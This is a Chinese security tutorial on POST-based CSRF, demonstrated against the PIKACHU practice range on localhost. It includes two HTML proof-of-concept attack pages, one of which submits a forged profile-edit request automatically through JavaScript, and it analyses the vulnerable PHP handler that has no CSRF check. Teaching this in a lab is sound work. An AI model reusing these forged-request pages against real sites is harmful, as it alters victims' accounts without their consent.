关注这个漏洞的其他相关笔记:CSRF 漏洞 - 学习手册-CSDN博客
0x01:POST 型 CSRF 漏洞攻击 —— 理论篇
POST 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP POST 请求,利用用户的登录状态,在用户不知情的情况下,诱使浏览器向受信任的网站发送请求,从而执行非用户意图的操作。
常见的攻击方式: 攻击者通过在站点中嵌入恶意代码,诱使受害者访问,当用户访问了嵌套恶意代码的站点,代码就会模拟用户的点击操作,伪造用户的身份向第三方存在 CSRF 漏洞的接口发起请求,进而误导第三方站点以为是受信用户的操作。
其攻击流程如下图所示:
POST 型 CSRF 的攻击流程与 GET 型很相似,只不过是换了个提交的方式而已,GET 型 CSRF 能通过链接触发,所以用户很容易就中招,而 POST 则需要通过表单才能触发,利用难度增加了一些。
0x02:POST 型 CSRF 漏洞攻击 —— 实战篇
实验工具准备
PHP 运行环境:phpstudy-x64-8.1.1.3.zip(Apache2.4.39 + PHP 5.6.9nts)
实验环境:PIKACHU 靶场 - CSRF(post) => 参考:PIKACHU —— 靶场笔记合集
本次的实验环境,我们采用现成的 PIKACHU 靶场,PIKACHU 靶场的安装方法参考上面提供的链接,这里就不多说了,下面直接进入演示流程。
0x0201:POST 型 CSRF 攻击
在浏览器导航栏中输入下面的网址,访问实验环境:
http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_login.php
随机挑选一个账号进行登录,这里笔者选择的是,allen:123456
:
点击 ”修改个人信息“ 按钮,并打开浏览器的 ”开发者工具“ 进行抓包:
然后随便修改点信息,比如我把手机号修改成,123456,并点击 submit
进行提交,注意抓包:
可以看到,我们向后端的 csrf_post_edit.php
接口发送了一个 POST 请求包,请求包的内容,就是我们修改的个人信息的值。
那么我们是不是也可以通过伪造一个 POST 请求发送给这个接口,来修改我们的个人信息呢。POST 请求是无法通过点击链接直接发送的,所以我们也可以写一个表单,来向 csrf_post_edit.php
接口发起请求:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST Based CSRF</title>
</head>
<body>
<!-- action 决定了表单向谁提交信息 -->
<form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="text" name="sex" value="boy">
<input type="text" name="phonenum" value="123456">
<!-- 修改了地址中的值 -->
<input type="text" name="add" value="❤这个是我们修改后的值❤">
<input type="text" name="email" value="allen@pikachu.com">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
点击 “提交查询” 按钮后,页面会自动跳转到 allen 的个人会员中心页面,并且可以看到,住址一栏已经被修改:
上面的操作,还需要用户手动点击表单的提交按钮,接下来,我们编写代码,让表单自动提交。将下面的 HTML 代码直接复制进 HTML 文件中,然后双击打开即可:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST Based CSRF</title>
</head>
<body>
<!-- action 决定了表单向谁提交信息 -->
<form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="hidden" name="sex" value="boy">
<input type="hidden" name="phonenum" value="123456">
<!-- 修改了地址中的值 -->
<input type="hidden" name="add" value="❤这个是我们修改后的值❤<br><p>❤庆祝 Blue17 突破 1000 粉丝!!❤</p>">
<input type="hidden" name="email" value="allen@pikachu.com">
<input type="submit" name="submit" value="submit" id="submit">
</form>
<!-- 使用 JavaScript 脚本自动提交上面的表单 -->
<script> document.getElementById("submit").click(); </script>
</body>
</html>
打开后,你会发现,页面直接跳转到了个人信息的模块,并且信息中多了一行内容:
整个过程,用户需要做的只是:
-
登录个人会员中心。
-
访问攻击者发布的恶意界面。
然后,攻击就完成了。至此,POST 型 CSRF 攻击流程演示完毕。
0x0202:POST 型 CSRF 代码分析
下面是触发 POST 型 CSRF 漏洞的关键代码:
// csrf_post_edit.php
if (isset($_POST['submit'])) {
if ($_POST['sex'] != null && $_POST['phonenum'] != null && $_POST['add'] != null && $_POST['email'] != null) {
$getdata = escape($link, $_POST);
$query = "update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
$result = execute($link, $query);
if (mysqli_affected_rows($link) == 1 || mysqli_affected_rows($link) == 0) {
header("location:csrf_post.php");
} else {
$html1 .= '修改失败,请重试';
}
}
}
上面的代码,简单来说,就是通过 $_POST
来获取前端用户传递过来的请求信息,并根据这些信息更新数据库中的内容。CSRF 漏洞发生的位置就是获取前端用户传递请求信息的部分。
因为接口的传参很有规律,所以攻击者可以很轻松的伪造符合规则的请求包给后端,后端无法校验该请求包是否是用户主动发起的,只知道,这个请求包是受信用户发送过来的,所以很自主的认为,这就是受信用户的主动操作。
正是这种服务端对客户端浏览器中缓存的登录凭证过于信任才导致的 CSRF 漏洞。
0x03:参考文献
-
《白帽子讲 Web 安全》 ISBN 978-7-121-16072-1